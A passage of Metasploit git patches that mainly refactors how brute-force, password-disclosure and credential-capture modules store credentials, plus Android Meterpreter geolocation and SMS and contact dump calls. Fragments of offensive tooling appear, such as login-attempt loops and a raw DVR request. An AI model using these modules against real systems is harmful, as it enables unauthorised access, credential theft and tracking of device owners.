"&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" - wlan_list << network_data + wlan_list << [mac,ssid,ss.to_s] } if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) - - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") - else - print_error("Failure connecting to Google for location lookup.") + wlan_list.each do |wlan| + g.add_wlan(*wlan) end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end From 981d98443f9d5e65f6a3d9d71fb3956112294f99 Mon Sep 17 00:00:00 2001 From: Jack64 <Jack64@users.noreply.github.com> Date: Thu, 23 Jul 2015 17:04:12 +0100 Subject: [PATCH 0190/2172] fix local mods Fixed some local modifications that were unintentionally pushed. --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 12e43e0276..957118fcbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -139,7 +139,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,30) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 91fc213ddfa1f5c34b432a043915dc806adb4944 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Jul 2015 15:50:50 -0500 Subject: [PATCH 0191/2172] More metasploit-credential update --- .../auxiliary/admin/oracle/oracle_login.rb | 2 +- .../sap_businessobjects_user_brute_web.rb | 42 ++- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 46 ++- modules/auxiliary/scanner/http/sevone_enum.rb | 46 ++- .../scanner/http/squiz_matrix_user_enum.rb | 36 ++- .../scanner/http/typo3_bruteforce.rb | 44 ++- .../scanner/misc/dvr_config_disclosure.rb | 42 ++- modules/auxiliary/scanner/misc/oki_scanner.rb | 41 ++- .../scanner/misc/raysharp_dvr_passwords.rb | 42 ++- .../misc/rosewill_rxs3211_passwords.rb | 41 ++- .../scanner/mongodb/mongodb_login.rb | 44 ++- .../auxiliary/scanner/msf/msf_rpc_login.rb | 46 ++- .../auxiliary/scanner/msf/msf_web_login.rb | 46 ++- .../scanner/nessus/nessus_ntp_login.rb | 43 ++- .../scanner/nexpose/nexpose_api_login.rb | 2 +- .../scanner/openvas/openvas_gsad_login.rb | 2 +- .../scanner/openvas/openvas_omp_login.rb | 2 +- .../scanner/openvas/openvas_otp_login.rb | 2 +- modules/auxiliary/scanner/scada/koyo_login.rb | 2 +- modules/auxiliary/server/capture/drda.rb | 2 +- modules/auxiliary/server/capture/ftp.rb | 2 +- .../auxiliary/server/capture/http_basic.rb | 2 +- modules/auxiliary/server/capture/pop3.rb | 2 +- .../auxiliary/server/capture/postgresql.rb | 2 +- modules/auxiliary/server/capture/sip.rb | 2 +- .../auxiliary/test/report_auth_info.rb | 271 ++++++------------ 26 files changed, 551 insertions(+), 303 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index b4105840c2..e33a0db012 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index 7e50d316d3..aef82de583 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -46,6 +46,33 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def enum_user(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'") success = false @@ -79,14 +106,13 @@ class Metasploit3 < Msf::Auxiliary if success print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'") - report_auth_info( - :host => rhost, - :proto => 'tcp', - :sname => 'sap-businessobjects', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport + report_cred( + ip: rhost, + port: rport, + service_name: 'sap-businessobjects', + user: user, + password: pass, + proof: res.body ) return :next_user else diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 1a180a19fb..7567b73111 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -69,6 +69,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -85,17 +112,14 @@ class Metasploit3 < Msf::Auxiliary if res and !res.get_cookies.empty? print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'ServerTech Sentry Switched CDU', + user: user, + password: pass, + proof: res.get_cookies.inspect + ) return :next_user else diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 8a0e4774bc..9e8a38d6c5 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -65,6 +65,33 @@ class Metasploit3 < Msf::Auxiliary return false end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -98,17 +125,14 @@ class Metasploit3 < Msf::Auxiliary return :skip_pass else print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'") - - report_hash = { - :host => rhost, - :port => rport, - :sname => 'SevOne Network Performance Management System Application', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'SevOne Network Performance Management System Application', + user: user, + password: pass, + proof: key + ) return :next_user end diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 1ba09fc870..e3a820fc2a 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -80,6 +80,30 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_enum(asset) begin res = send_request_cgi({ @@ -121,12 +145,12 @@ class Metasploit3 < Msf::Auxiliary @users_found[user] = :reported end - report_auth_info( - :host => rhost, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :port => rport, - :proof => "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}") + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + proof: "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}" + ) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 5b65cf02a1..46aee2f1cf 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -39,20 +39,46 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def try_login(user, pass) vprint_status("#{peer} - Trying username:'#{user}' password: '#{pass}'") cookie = typo3_backend_login(user, pass) if cookie print_good("#{peer} - Successful login '#{user}' password: '#{pass}'") - report_auth_info({ - :host => rhost, - :proto => 'http', - :sname => 'typo3', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'typo3', + user: user, + password: pass, + proof: cookie + ) return :next_user else vprint_error("#{peer} - failed to login as '#{user}' password: '#{pass}'") diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 47edca4473..69c134e532 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -138,14 +138,40 @@ class Metasploit3 < Msf::Auxiliary return end - report_auth_info({ - :host => server, - :port => port, - :sname => 'ftp', - :duplicate_ok => false, - :user => user, - :pass => password - }) + report_cred( + ip: server, + port: port, + service_name: 'ftp', + user: user, + password: password, + proof: conf.inspect + ) + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) end def get_dvr_credentials(conf) diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 9ea0e95333..44f949da95 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, @@ -37,6 +38,33 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] = @org_rport end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) @org_rport = datastore['RPORT'] datastore['RPORT'] = datastore['SNMPPORT'] @@ -80,12 +108,13 @@ class Metasploit3 < Msf::Auxiliary case response when "200" print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}") - report_auth_info( - :host => rhost, - :port => datastore['HTTPPORT'], - :proto => "tcp", - :user => 'admin', - :pass => last_six + report_cred( + ip: rhost, + port: datastore['HTTPPORT'], + service_name: 'http', + user: 'admin', + password: last_six, + proof: response.inspect ) when "401" print_error("Default credentials failed") diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index 9dbc33a081..9f0c275fd7 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -37,6 +37,32 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9000) ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) req = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" + @@ -76,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary if creds.keys.length > 0 creds.keys.sort.each do |user| pass = creds[user] - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'dvr', - :duplicate_ok => false, - :user => user, - :pass => pass - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'dvr', + user: user, + password: pass, + proof: pass + ) info << "(user='#{user}' pass='#{pass}') " end end diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index fa83664e78..b9edb09746 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -80,16 +80,43 @@ class Metasploit3 < Msf::Auxiliary #Store the password if the parser returns something if password print_status("Password retrieved: #{password.to_s}") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'ipcam', - :duplicate_ok => false, - :pass => password, - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'ipcam', + user: '', + password: password, + proof: password + ) end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def parse_reply(pkt) @results ||= {} diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 6d9dc76358..e8091b4b1b 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -120,21 +120,47 @@ class Metasploit3 < Msf::Auxiliary response = sock.recv(1024) unless have_auth_error?(response) print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'mongodb', - :user => user, - :pass => password, - :source_type => 'user_supplied', - :active => true - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: response.inspect + ) return :next_user end return end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def get_nonce request_id = Rex::Text.rand_text(4) packet = "\x3d\x00\x00\x00" # messageLength (61) diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index 31420e8be3..1f3100ec96 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -66,23 +66,47 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user='msf', pass='msf') vprint_status("Trying username:'#{user}' with password:'#{pass}'") begin res = @rpc.login(user, pass) if res print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'msf-rpc', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'msf-rpc', + user: user, + password: pass, + proof: res.body + ) @rpc.close return :next_user end diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 00a3ba1ef9..69de8c6964 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -124,16 +124,14 @@ class Metasploit3 < Msf::Auxiliary else print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'msf-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'msf-web', + user: user, + password: pass, + proof: res.headers['Location'] + ) return :next_user end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT @@ -141,4 +139,32 @@ class Metasploit3 < Msf::Auxiliary return :abort end end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + end diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index bfa7617f28..ba12f61143 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -64,6 +64,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin ntp_send("< NTP/1.0 >\n",true) # send hello @@ -84,15 +111,15 @@ class Metasploit3 < Msf::Auxiliary ntp_send("#{pass}\n",!@connected) if @result =~ /SERVER <|>.*<|> SERVER/is print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'nessus-ntp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'nessus-ntp', + user: user, + password: pass, + proof: @result ) + disconnect @connected = false return :next_user diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 3374f18e32..bff40a5dba 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 032e2d2643..94574d4e3b 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 71804b7ea8..c778ba15ca 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 6d812d7295..fbf870fb2d 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index f444d9c914..ecf1f50a29 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 871b44c1bf..970b8cda7f 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -251,7 +251,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 4ff3781d45..667eca6a4a 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 5aaf38f579..8e8db5c2ab 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index ec81648a73..f22877434f 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 83cd3e4dc0..d9f11042d1 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 9750a43e1b..03dd3e2113 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 1149cf7a4f..0a43898e17 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -7,10 +7,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - FAKE_IP = '192.168.12.123' - FAKE_PORT = 80 - FAKE_USER = 'user' - FAKE_PASS = 'password' + FAKE_IP = '192.168.12.123' + FAKE_PORT = 80 + FAKE_USER = 'user' + FAKE_PASS = 'password' + FAKE_PROOF = 'proof' def initialize(info = {}) super(update_info(info, @@ -125,265 +126,177 @@ class Metasploit3 < Msf::Auxiliary def test_hp_imc_som_create_account mod = framework.auxiliary.create('admin/hp/hp_imc_som_create_account') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'https', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'https', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_645_password_extractor mod = framework.auxiliary.create('admin/http/dlink_dir_645_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dsl320b_password_extractor mod = framework.auxiliary.create('admin/http/dlink_dsl320b_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_nexpose_xxe_file_read mod = framework.auxiliary.create('admin/http/nexpose_xxe_file_read') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_vbulletin_upgrade_admin mod = framework.auxiliary.create('admin/http/vbulletin_upgrade_admin') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - 